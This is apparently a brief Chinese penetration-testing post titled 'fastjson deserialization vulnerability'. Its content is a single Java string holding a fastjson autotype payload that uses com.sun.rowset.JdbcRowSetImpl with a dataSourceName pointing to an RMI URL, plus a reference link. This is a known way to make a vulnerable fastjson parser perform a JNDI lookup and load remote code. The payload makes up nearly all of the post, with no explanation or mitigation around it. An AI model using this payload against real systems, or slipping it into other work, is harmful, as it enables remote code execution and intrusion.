fastjson 反序列化漏洞

正文

String payload_2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:8889/xxx\",\"autoCommit\":true}";

参考资料

https://bithack.io/forum/397

• #Penetration Testing